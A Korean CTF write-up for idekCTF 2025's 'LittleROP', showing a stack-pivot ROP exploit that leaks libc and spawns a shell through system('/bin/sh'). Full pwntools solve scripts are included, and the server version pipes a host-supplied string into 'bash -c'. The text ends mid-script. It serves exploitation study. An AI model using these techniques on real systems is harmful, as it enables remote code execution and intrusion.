checksec
ubuntu@06287c6a0589:~/study/idekctf2025/LittleROP$ checksec ./chall [*] '/home/ubuntu/study/idekctf2025/LittleROP/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
Decompiled-src / Analysis
main / setup / vuln
stdin
, stdout
, stderr
의 버퍼링을 모두 비활성화하고, 32바이트의 buf를 read를 통해 48바이트만큼 입력받는다.
따라서, 버퍼 오버플로우를 발생시킬 수 있는데 16바이트를 초과시킬 수 있어 main’s RBP, RET까지만 덮을 수 있다.
int __fastcall main(int argc, const char **argv, const char **envp) { setup(argc, argv, envp); vuln(); return 0; }
void setup() { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); }
ssize_t vuln() { _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF return read(0, buf, 0x30u); }
Solution
1. main’s RBP를 0x404c00 주소로 덮고 main’s RET을 0x4011a9로 덮기
버퍼 오버플로우 취약점으로 rbp, ret을 모두 원하는 값으로 덮을 수 있다.
main’s rbp를 임의 bss 영역인 0x404c00 주소로 덮고, main’s ret을 main의 함수 프롤로그를 제외한 0x4011A9 주소로 덮자.
gdb-peda$ vmmap ... **0x00404000 0x00405000 rw-p /home/ubuntu/study/idekctf2025/LittleROP/chall**
**.text:000000000040119D vuln proc near ; CODE XREF: main+17↓p** .text:000000000040119D .text:000000000040119D buf = byte ptr -20h .text:000000000040119D .text:000000000040119D ; __unwind { .text:000000000040119D endbr64 .text:00000000004011A1 push rbp .text:00000000004011A2 mov rbp, rsp .text:00000000004011A5 sub rsp, 20h BELOW CODE !!! .text:00000000004011A9 lea rax, [rbp-20h] .text:00000000004011AD mov edx, 30h ; '0' ; nbytes .text:00000000004011B2 mov rsi, rax ; buf .text:00000000004011B5 mov edi, 0 ; fd .text:00000000004011BA call _read .text:00000000004011BF nop .text:00000000004011C0 leave .text:00000000004011C1 retn
vuln_lea_read = 0x4011a9 add_rbp_0x3d_ebx = 0x40113c # 1. Prepare write to where pay = b'A'*0x20 pay += p64(0x404c00) pay += p64(vuln_lea_read) s(pay) sleep(0.001)
이후에 A 바이트들을 채우게 된다면,
ip() s(b"A"*0x30)
main’s rbp에 덮힌 임의 bss 영역인 0x404c00 주소로 인해, 0x404c00-0x20부터 A 바이트들이 채워진다.
즉, 임의 bss 영역 주소로 베이스 포인터를 설정했기에 해당 주소에 값이 써지는 것이다.
gdb-peda$ x/16gx 0x404c00-0x20 0x404be0: 0x4141414141414141 0x4141414141414141 0x404bf0: 0x4141414141414141 0x4141414141414141 0x404c00: 0x4141414141414141 0x4141414141414141 0x404c10: 0x0000000000000000 0x0000000000000000 ...
2. call_setup을 호출시켜 libc 관련 주소 가져오기
베이스포인터를 0x404b00으로 지정하고, 리턴주소를 call_setup으로 덮어본다.
.text:00000000004011C2 main proc near ; DATA XREF: _start+18↑o .text:00000000004011C2 ; __unwind { .text:00000000004011C2 endbr64 .text:00000000004011C6 push rbp .text:00000000004011C7 mov rbp, rsp **BELOW CODE !!!** **.text:00000000004011CA mov eax, 0 .text:00000000004011CF call setup .text:00000000004011D4 mov eax, 0 .text:00000000004011D9 call vuln .text:00000000004011DE mov eax, 0 .text:00000000004011E3 pop rbp .text:00000000004011E4 retn .text:00000000004011E4 ; } // starts at 4011C2 .text:0000000000401156 public setup .text:0000000000401156 setup proc near ; CODE XREF: main+D↓p .text:0000000000401156 ; __unwind { .text:0000000000401156 endbr64 .text:000000000040115A push rbp .text:000000000040115B mov rbp, rsp .text:000000000040115E mov rax, cs:stdin@GLIBC_2_2_5 .text:0000000000401165 mov esi, 0 ; buf .text:000000000040116A mov rdi, rax ; stream .text:000000000040116D call _setbuf .text:0000000000401172 mov rax, cs:stdout@GLIBC_2_2_5 .text:0000000000401179 mov esi, 0 ; buf .text:000000000040117E mov rdi, rax ; stream .text:0000000000401181 call _setbuf .text:0000000000401186 mov rax, cs:stderr@GLIBC_2_2_5 .text:000000000040118D mov esi, 0 ; buf .text:0000000000401192 mov rdi, rax ; stream .text:0000000000401195 call _setbuf .text:000000000040119A nop .text:000000000040119B pop rbp .text:000000000040119C retn .text:000000000040119C ; } // starts at 401156**
# 2. Did libc related address written? call_setup = 0x4011CA pay = b'A'*0x20 pay += p64(0x404b00) pay += p64(call_setup) s(pay) sleep(0.001)
그러면 0x7ffff7…로 시작되는 libc 관련 주소가 임의 bss 영역 주소에 써진다.
gdb-peda$ x/48gx 0x404b00 0x404b00: 0x0000000000000000 0x0000000000000000 0x404b10: 0x0000000000000000 0x0000000000000000 0x404b20: 0x0000000000000000 0x0000000000000000 0x404b30: 0x0000000000000000 0x0000000000000000 0x404b40: 0x0000000000000000 0x0000000000000000 0x404b50: 0x0000000000000000 0x0000000000000000 0x404b60: 0x0000000000000000 0x0000000000000000 0x404b70: 0x0000000000000000 0x00007ffff7fa56a0 0x404b80: 0x0000000000000000 0x00007ffff7e183f5 0x404b90: 0x0000000000000000 0x00007ffff7fa56a0 0x404ba0: 0x0000000000000000 0x0000000000000000 0x404bb0: 0x00007ffff7fa1600 0x00007ffff7e145ad 0x404bc0: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404bd0: 0x0000000000000000 0x00000000004011bf 0x404be0: 0x0000000000404c00 0x00007fffffffe198 0x404bf0: 0x00000000004011c2 0x000000000040119a 0x404c00: 0x0000000000404b00 0x00000000004011de 0x404c10: 0x0000000000000000 0x0000000000000000 0x404c20: 0x0000000000000000 0x0000000000000000 ... 0x00007ffff7d8a000 0x00007ffff7db2000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x00007ffff7db2000 0x00007ffff7f47000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6 0x00007ffff7f47000 0x00007ffff7f9f000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x00007ffff7f9f000 0x00007ffff7fa0000 ---p /usr/lib/x86_64-linux-gnu/libc.so.6 0x00007ffff7fa0000 0x00007ffff7fa4000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6 0x00007ffff7fa4000 0x00007ffff7fa6000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
3. 더 많은 libc 관련 주소가 bss 영역에 남기게 하기
2번 아이디어를 응용하여 libc 관련 주소가 bss 영역에 더많이 써지도록 fengshui_libc 함수를 만들었다.
# 3. libc fengshui def fengshui_libc(): for i in range(5): pay = b'B'*0x20 pay += p64(0x404c00+0x70*i) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = b'C'*0x20 pay += p64(0x404900) pay += p64(call_setup) #setup s(pay) sleep(0.001) fengshui_libc()
결과는 아래와 같이, 이전보다 훨씬 더 많이 libc 관련 주소가 써지게 된다.
gdb-peda$ x/96gx 0x404b00 0x404b00: 0x0000000000000000 0x0000000000000000 0x404b10: 0x0000000000000000 0x0000000000000000 0x404b20: 0x0000000000000000 0x0000000000000000 0x404b30: 0x0000000000000000 0x0000000000000000 0x404b40: 0x0000000000000000 0x0000000000000000 0x404b50: 0x0000000000000000 0x0000000000000000 0x404b60: 0x0000000000000000 0x0000000000000000 0x404b70: 0x0000000000000000 0x00007ffff7fa56a0 0x404b80: 0x0000000000000000 0x00007ffff7e183f5 0x404b90: 0x0000000000000000 0x00007ffff7fa56a0 0x404ba0: 0x0000000000000000 0x0000000000000000 0x404bb0: 0x00007ffff7fa1600 0x00007ffff7e145ad 0x404bc0: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404bd0: 0x0000000000000000 0x00000000004011bf 0x404be0: 0x4242424242424242 0x00007ffff7fa56a0 0x404bf0: 0x0000000000000000 0x00007ffff7e183f5 0x404c00: 0x0000000000404c70 0x00007ffff7fa56a0 0x404c10: 0x0000000000000000 0x0000000000000000 0x404c20: 0x00007ffff7fa1600 0x00007ffff7e145ad 0x404c30: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404c40: 0x0000000000000000 0x00000000004011bf 0x404c50: 0x4242424242424242 0x00007ffff7fa56a0 0x404c60: 0x0000000000000000 0x00007ffff7e183f5 0x404c70: 0x0000000000404ce0 0x00007ffff7fa56a0 0x404c80: 0x0000000000000000 0x0000000000000000 0x404c90: 0x00007ffff7fa1600 0x00007ffff7e145ad 0x404ca0: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404cb0: 0x0000000000000000 0x00000000004011bf 0x404cc0: 0x4242424242424242 0x00007ffff7fa56a0 0x404cd0: 0x0000000000000000 0x00007ffff7e183f5 0x404ce0: 0x0000000000404d50 0x00007ffff7fa56a0 0x404cf0: 0x0000000000000000 0x0000000000000000 0x404d00: 0x00007ffff7fa1600 0x00007ffff7e145ad 0x404d10: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404d20: 0x0000000000000000 0x00000000004011bf 0x404d30: 0x4242424242424242 0x00007ffff7fa56a0 0x404d40: 0x0000000000000000 0x00007ffff7e183f5 0x404d50: 0x0000000000404dc0 0x00007ffff7fa56a0 0x404d60: 0x0000000000000000 0x0000000000000000 0x404d70: 0x00007ffff7fa1600 0x00007ffff7e145ad 0x404d80: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404d90: 0x0000000000000000 0x00000000004011bf 0x404da0: 0x0000000000404dc0 0x00007fffffffe198 0x404db0: 0x00000000004011c2 0x000000000040119a 0x404dc0: 0x0000000000404900 0x00000000004011de
4. fengshui_rbp_ret / fengshui_ret_rbp trick
def fengshui_ret_rbp(base): for i in range(2): #set where to write pay = b'b'*0x20 pay += p64(base+i*0x20 + 0x20) #where to where pay += p64(vuln_lea_read) s(pay) sleep(0.001) #rbp reset and write pay = (p64(vuln_lea_read) + p64(0x404a00)) * 2 #what pay += p64(0x404800 + 0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) def fengshui_rbp_ret(base): for i in range(2): #set where to write pay = b'b'*0x20 pay += p64(base+i*0x20 + 0x20) #where to where pay += p64(vuln_lea_read) s(pay) sleep(0.001) #rbp reset and write pay = (p64(0x404a00) + p64(vuln_lea_read)) * 2 #write to what pay += p64(0x404800 + 0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # 0. (overwrite rbp), this will used by "add DWORD PTR [rbp-0x3d],ebx" gadget fengshui_rbp_ret(base=0x404d90)
base 주소를 넣으면, RBP와 RET에 각각 0x404a00, 0x4011a9 주소로 여러번 쓰게 만들도록 2개의 fengshui 함수를 만들어두었다.
2개의 함수는 써지는 rbp, ret 순서만 서로 다를뿐이다.
gdb-peda$ x/32gx 0x404d90-0x10 0x404d80: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404d90: 0x0000000000404a00 0x00000000004011a9 0x404da0: 0x0000000000404a00 0x00000000004011a9 0x404db0: 0x0000000000404a00 0x00000000004011a9 0x404dc0: 0x0000000000404a00 0x00000000004011a9 0x404dd0: 0x0000000000404820 0x00000000004011bf
그리고 0x404d08 + 0x3d (=0x404d45)를 rbp로 지정해주는데,
pay = b'c'*0x20 pay += p64(0x404d70+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = p64(0x404d08 + 0x3d) #set rbp s(pay) sleep(0.001)
libc 영역에 있는 pop rbx; retn 가젯을 사용하기 위해 1바이트를 바꾸기 위해서다. 0xca로 하위 1바이트를 바꾸면 pop rbx, retn 가젯으로 향하게 만들 수 있다.
# 1. set "pop rbx; retn;" gadget (overwrite retn) fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d78+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # .text:000000000008A5CA 5B pop rbx # .text:000000000008A5CB C3 retn pay = p8(0xca) #set gadget s(pay) sleep(0.001)
gdb-peda$ x/32gx 0x404d00 0x404d00: 0x00007ffff7fa1600 0x00007ffff7e145ad 0x404d10: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404d20: 0x0000000000000000 0x00000000004011bf 0x404d30: 0x4242424242424242 0x00007ffff7fa56a0 0x404d40: 0x0000000000000000 0x00007ffff7e183f5 0x404d50: 0x0000000000404dc0 0x00007ffff7fa56a0 0x404d60: 0x0000000000000000 0x0000000000000000 0x404d70: 0x0000000000404d45 0x00007ffff7e145ca 0x404d80: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404d90: 0x00000000004011a9 0x0000000000404a00 0x404da0: 0x00000000004011bf 0x0000000000404a00 0x404db0: 0x00000000004011a9 0x0000000000404a00 0x404dc0: 0x00000000004011a9 0x0000000000404a00 0x404dd0: 0x0000000000404820 0x00000000004011bf 0x404de0: 0x0000000000000000 0x0000000000000000 0x404df0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/2i 0x00007ffff7e145ca 0x7ffff7e145ca <_IO_new_file_setbuf+42>: pop rbx 0x7ffff7e145cb <_IO_new_file_setbuf+43>: ret
그리고 pop rdi 가젯을 향하게 하기 위해 “add [rbp-3Dh], ebx; nop; retn;
” 가젯에 의해 더해질 0x3cddc값을 임의 bss 영역에 속하는 에 0x404d80 주소에 쓴다.
.text:000000000040113C add [rbp-3Dh], ebx .text:000000000040113F nop .text:0000000000401140 .text:0000000000401140 locret_401140: ; CODE XREF: __do_global_dtors_aux+B↑j .text:0000000000401140 retn
#2. set rbx value fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d80+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # .text:00000000000C7389 5F pop rdi # .text:00000000000C738A C3 retn pay = p64(0x3cddc) #rbx value (will be added); 0x8a5ad + 0x3cddc = 0xc7389 s(pay) sleep(0.001)
gdb-peda$ x/32gx 0x404d00 0x404d00: 0x00007ffff7fa1600 0x00007ffff7e145ad 0x404d10: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404d20: 0x0000000000000000 0x00000000004011bf 0x404d30: 0x4242424242424242 0x00007ffff7fa56a0 0x404d40: 0x0000000000000000 0x00007ffff7e183f5 0x404d50: 0x0000000000404dc0 0x00007ffff7fa56a0 0x404d60: 0x0000000000000000 0x0000000000000000 0x404d70: 0x0000000000404d45 0x00007ffff7e145ca **0x404d80**: **0x000000000003cddc** 0x00007ffff7e0b57f 0x404d90: 0x0000000000404a00 0x00000000004011a9 0x404da0: 0x0000000000404a00 0x00000000004011bf 0x404db0: 0x0000000000404a00 0x00000000004011a9 0x404dc0: 0x0000000000404a00 0x00000000004011a9 0x404dd0: 0x0000000000404820 0x00000000004011bf
ROP 체인으로 “add [rbp-3Dh], ebx; nop; retn;
” 가젯을 실행시키게 만든다.
그러면 0x404d08에 pop rdi, retn 가젯인 0x00007ffff7e51389 가젯주소가 써진다.
#3. set "add [rbp-3Dh], ebx; nop; retn;" gadget fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d88+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # set rbx pay = p64(add_rbp_0x3d_ebx) #set gadget s(pay) sleep(0.001) # run gg pay = b'c'*0x20 pay += p64(0x404d70) #set rbp pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = b'a'*0x1 # ip() s(pay) sleep(0.001)
gdb-peda$ x/32gx 0x404d00 0x404d00: 0x00007ffff7fa1600 **0x00007ffff7e51389** 0x404d10: 0x00007ffff7fa56a0 0x00007ffff7e0b57f 0x404d20: 0x0000000000000000 0x00000000004011bf 0x404d30: 0x4242424242424242 0x00007ffff7fa56a0 0x404d40: 0x0000000000000000 0x00007ffff7e183f5 0x404d50: 0x0000000000404d61 0x00007ffff7fa56a0 0x404d60: 0x0000000000000000 0x0000000000000000 0x404d70: 0x0000000000404d45 0x00007ffff7e145ca 0x404d80: 0x000000000003cddc 0x000000000040113c 0x404d90: 0x00000000004011bf 0x0000000000404a00 0x404da0: 0x00000000004011a9 0x0000000000404a00 0x404db0: 0x00000000004011bf 0x0000000000404a00 0x404dc0: 0x00000000004011a9 0x0000000000404a00 0x404dd0: 0x0000000000404820 0x00000000004011bf 0x404de0: 0x0000000000000000 0x0000000000000000 0x404df0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/2i **0x00007ffff7e51389** 0x7ffff7e51389 <____wcstoul_l_internal+105>: pop rdi 0x7ffff7e5138a <____wcstoul_l_internal+106>: ret
이전 했던 작업을 떠올리면서 마저 ROP 체인을 구성한다.
이번에는 write 함수의 첫 매개변수로 rdi가 세팅될 값인 1을 쓰고,
“add [rbp-3Dh], ebx; nop; retn;
” 가젯을 통해 오프셋 계산으로 write 함수 주소가 적히게 만드는 것이다.
# set rop again # 0. (overwrite rbp), this will used by "add DWORD PTR [rbp-0x3d],ebx" gadget fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d70+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = p64(0x404d18 + 0x3d) #set rbp s(pay) sleep(0.001) # 1. set "pop rbx; retn;" gadget (overwrite retn) fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d78+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # .text:000000000008A5CA 5B pop rbx # .text:000000000008A5CB C3 retn pay = p8(0xca) #set gadget s(pay) sleep(0.001) #2. set rbx value fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d80+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # .text:0000000000114870 write pay = p64(0x932f1) #rbx value (will be added); 0x8157f + 0x932f1 = 0x114870 s(pay) sleep(0.001) #3. set "add [rbp-3Dh], ebx; nop; retn;" gadget fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d88+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # set rbx pay = p64(add_rbp_0x3d_ebx) #set gadget s(pay) sleep(0.001) # run gg pay = b'c'*0x20 pay += p64(0x404d70) #set rbp pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = b'a'*0x1 # ip() s(pay) sleep(0.001) # will be used rbp when run "pop rdi" gadget fengshui_rbp_ret(base=0x404d20) pay = b'c'*0x20 pay += p64(0x404d00+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = p64(0x404a00) s(pay) sleep(0.001) # will be used when run "pop rdi" gadget fengshui_rbp_ret(base=0x404d20) pay = b'c'*0x20 pay += p64(0x404d10+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = p64(1) #set rdi s(pay) sleep(0.001) # set ret fengshui_rbp_ret(base=0x404d20) pay = b'd'*0x20 pay += p64(0x404d20+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = p64(vuln_lea_read) s(pay) sleep(0.001) # run gg pay = b'c'*0x20 pay += p64(0x404d00) #set rbp pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = b'a'*0x1 ip() s(pay) sleep(0.001)
gdb-peda$ x/32gx 0x404d00 0x404d00: 0x0000000000404a00 <- 덮어쓰일 rbp 0x00007ffff7e51389 <- pop rdi, retn 0x404d10: 0x0000000000000001 <- rdi valuie 0x00007ffff7e9e870 <- write 함수 0x404d20: 0x00000000004011a9 <- vuln_lea_read 0x00000000004011a9 0x404d30: 0x0000000000404a00 0x00000000004011a9 0x404d40: 0x0000000000404a00 0x00000000004011bf 0x404d50: 0x0000000000404a00 0x00000000004011a9 0x404d60: 0x0000000000404820 0x00000000004011bf 0x404d70: 0x0000000000404d55 0x00007ffff7e145ca 0x404d80: 0x00000000000932f1 0x000000000040113c 0x404d90: 0x00000000004011bf 0x0000000000404a00 0x404da0: 0x00000000004011a9 0x0000000000404a00 0x404db0: 0x00000000004011bf 0x0000000000404a00 0x404dc0: 0x00000000004011a9 0x0000000000404a00 0x404dd0: 0x0000000000404820 0x00000000004011bf 0x404de0: 0x0000000000000000 0x0000000000000000 0x404df0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/a 0x00007ffff7e9e870 0x7ffff7e9e870 <__GI___libc_write>: 0x25048b64fa1e0ff3 gdb-peda$ x/i 0x00007ffff7e9e870 0x7ffff7e9e870 <__GI___libc_write>: endbr64
그러면 write 함수가 호출되어 bss 영역에 있던 libc 관련주소가 출격하게 되는데, 약간의 오프셋 계산으로 libc 베이스 주소를 구할 수 있었다.
leak = r(0x10) leak = leak[8:8+8] info(f"leak: {leak}") leak = uu64(leak) info(f"leak: {hex(leak)}") l.address = leak - l.sym._IO_2_1_stderr_ info(f"libc base: {hex(l.address)}") r(0x20)
ubuntu@06287c6a0589:~/study/idekctf2025/LittleROP$ python3 solve_local.py [+] Starting local process './chall': pid 5923 [*] leak: b'\\xa0V\\xfa\\xf7\\xff\\x7f\\x00\\x00' [*] leak: 0x7ffff7fa56a0 [*] libc base: 0x7ffff7d8a000
libc base 주소를 구했으니 system(”/bin/sh”) 해주는 ROP chain을 구성해주면 끝.
# set final rop payload !!! retn = l.address + 0xC738A pop_rdi_retn = l.address + 0xC7389 bin_sh = l.address + 0x1D8678 system = l.sym.system pay = p64(pop_rdi_retn) + p64(bin_sh) + p64(system)*2 pay += p64(0x4049b8+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) s(b"win") pi()
solve.py (Local)
#!/usr/bin/env python3 from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import sys p = process("./chall") # p = remote("host3.dreamhack.games", 20548) e = ELF('./chall',checksec=False) l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # l = ELF('./libc_prob.so.6', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\\x00")) uu64 = lambda data: u64(data.ljust(8, b"\\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() vuln_lea_read = 0x4011a9 add_rbp_0x3d_ebx = 0x40113c # 1. Prepare write to where pay = b'A'*0x20 pay += p64(0x404c00) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # 2. pay = b'A'*0x20 pay += p64(0x404b00) pay += p64(0x4011ca) #setup s(pay) sleep(0.001) # 3. libc fengshui def fengshui_libc(): for i in range(5): pay = b'B'*0x20 pay += p64(0x404c00+0x70*i) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = b'C'*0x20 pay += p64(0x404900) pay += p64(0x4011ca) #setup s(pay) sleep(0.001) fengshui_libc() def fengshui_ret_rbp(base): for i in range(2): #set where to write pay = b'b'*0x20 pay += p64(base+i*0x20 + 0x20) #where to where pay += p64(vuln_lea_read) s(pay) sleep(0.001) #rbp reset and write pay = (p64(vuln_lea_read) + p64(0x404a00)) * 2 #what pay += p64(0x404800 + 0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) def fengshui_rbp_ret(base): for i in range(2): #set where to write pay = b'b'*0x20 pay += p64(base+i*0x20 + 0x20) #where to where pay += p64(vuln_lea_read) s(pay) sleep(0.001) #rbp reset and write pay = (p64(0x404a00) + p64(vuln_lea_read)) * 2 #write to what pay += p64(0x404800 + 0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # 0. (overwrite rbp), this will used by "add DWORD PTR [rbp-0x3d],ebx" gadget fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d70+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = p64(0x404d08 + 0x3d) #set rbp s(pay) sleep(0.001) # 1. set "pop rbx; retn;" gadget (overwrite retn) fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d78+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # .text:000000000008A5CA 5B pop rbx # .text:000000000008A5CB C3 retn pay = p8(0xca) #set gadget s(pay) sleep(0.001) #2. set rbx value fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d80+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # .text:00000000000C7389 5F pop rdi # .text:00000000000C738A C3 retn pay = p64(0x3cddc) #rbx value (will be added); 0x8a5ad + 0x3cddc = 0xc7389 s(pay) sleep(0.001) #3. set "add [rbp-3Dh], ebx; nop; retn;" gadget fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d88+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # set rbx pay = p64(add_rbp_0x3d_ebx) #set gadget s(pay) sleep(0.001) # run gg pay = b'c'*0x20 pay += p64(0x404d70) #set rbp pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = b'a'*0x1 # ip() s(pay) sleep(0.001) # set rop again # 0. (overwrite rbp), this will used by "add DWORD PTR [rbp-0x3d],ebx" gadget fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d70+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = p64(0x404d18 + 0x3d) #set rbp s(pay) sleep(0.001) # 1. set "pop rbx; retn;" gadget (overwrite retn) fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d78+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # .text:000000000008A5CA 5B pop rbx # .text:000000000008A5CB C3 retn pay = p8(0xca) #set gadget s(pay) sleep(0.001) #2. set rbx value fengshui_rbp_ret(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d80+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # .text:0000000000114870 write pay = p64(0x932f1) #rbx value (will be added); 0x8157f + 0x932f1 = 0x114870 s(pay) sleep(0.001) #3. set "add [rbp-3Dh], ebx; nop; retn;" gadget fengshui_ret_rbp(base=0x404d90) pay = b'c'*0x20 pay += p64(0x404d88+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) # set rbx pay = p64(add_rbp_0x3d_ebx) #set gadget s(pay) sleep(0.001) # run gg pay = b'c'*0x20 pay += p64(0x404d70) #set rbp pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = b'a'*0x1 # ip() s(pay) sleep(0.001) # will be used rbp when run "pop rdi" gadget fengshui_rbp_ret(base=0x404d20) pay = b'c'*0x20 pay += p64(0x404d00+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = p64(0x404a00) s(pay) sleep(0.001) # will be used when run "pop rdi" gadget fengshui_rbp_ret(base=0x404d20) pay = b'c'*0x20 pay += p64(0x404d10+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = p64(1) #set rdi s(pay) sleep(0.001) # set ret fengshui_rbp_ret(base=0x404d20) pay = b'd'*0x20 pay += p64(0x404d20+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = p64(vuln_lea_read) s(pay) sleep(0.001) # run gg pay = b'c'*0x20 pay += p64(0x404d00) #set rbp pay += p64(vuln_lea_read) s(pay) sleep(0.001) pay = b'a'*0x1 # ip() s(pay) sleep(0.001) # obtain libc base leak = r(0x10) leak = leak[8:8+8] info(f"leak: {leak}") leak = uu64(leak) info(f"leak: {hex(leak)}") l.address = leak - l.sym._IO_2_1_stderr_ info(f"libc base: {hex(l.address)}") r(0x20) # set final rop payload !!! retn = l.address + 0xC738A pop_rdi_retn = l.address + 0xC7389 bin_sh = l.address + 0x1D8678 system = l.sym.system pay = p64(pop_rdi_retn) + p64(bin_sh) + p64(system)*2 pay += p64(0x4049b8+0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.001) s(b"win") pi()
solve.py (server)
#!/usr/bin/env python3 from pwn import * from tqdm import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') import sys import subprocess # p = process("./chall") p = remote("little-rop.chal.idek.team", 1337) e = ELF('./chall',checksec=False) l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # l = ELF('./libc_prob.so.6', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\\x00")) uu64 = lambda data: u64(data.ljust(8, b"\\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() vuln_lea_read = 0x4011a9 add_rbp_0x3d_ebx = 0x40113c ## Robot check leak = ru(b"Solution? ") cmd = leak.split(b" ")[1] cmd = cmd.split(b"\\n")[0] info(f"cmd = {cmd}") proc = subprocess.run( ["bash", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, # 결과를 str 로 받기 위함 check=True # 에러 시 예외 발생 ) answer = proc.stdout.strip() info(f"answer: {answer}") sl(answer) # pi() # 1. Prepare write to where pay = b'A'*0x20 pay += p64(0x404c00) pay += p64(vuln_lea_read) s(pay) sleep(0.4) # 2. pay = b'A'*0x20 pay += p64(0x404b00) pay += p64(0x4011ca) #setup s(pay) sleep(0.4) # 3. libc fengshui def fengshui_libc(): for i in trange(5): pay = b'B'*0x20 pay += p64(0x404c00+0x70*i) pay += p64(vuln_lea_read) s(pay) sleep(0.4) pay = b'C'*0x20 pay += p64(0x404900) pay += p64(0x4011ca) #setup s(pay) sleep(0.4) fengshui_libc() def fengshui_ret_rbp(base): for i in trange(2): #set where to write pay = b'b'*0x20 pay += p64(base+i*0x20 + 0x20) #where to where pay += p64(vuln_lea_read) s(pay) sleep(0.4) #rbp reset and write pay = (p64(vuln_lea_read) + p64(0x404a00)) * 2 #what pay += p64(0x404800 + 0x20) pay += p64(vuln_lea_read) s(pay) sleep(0.4) def fengshui_rbp_ret(base): for i in trange(2): #set 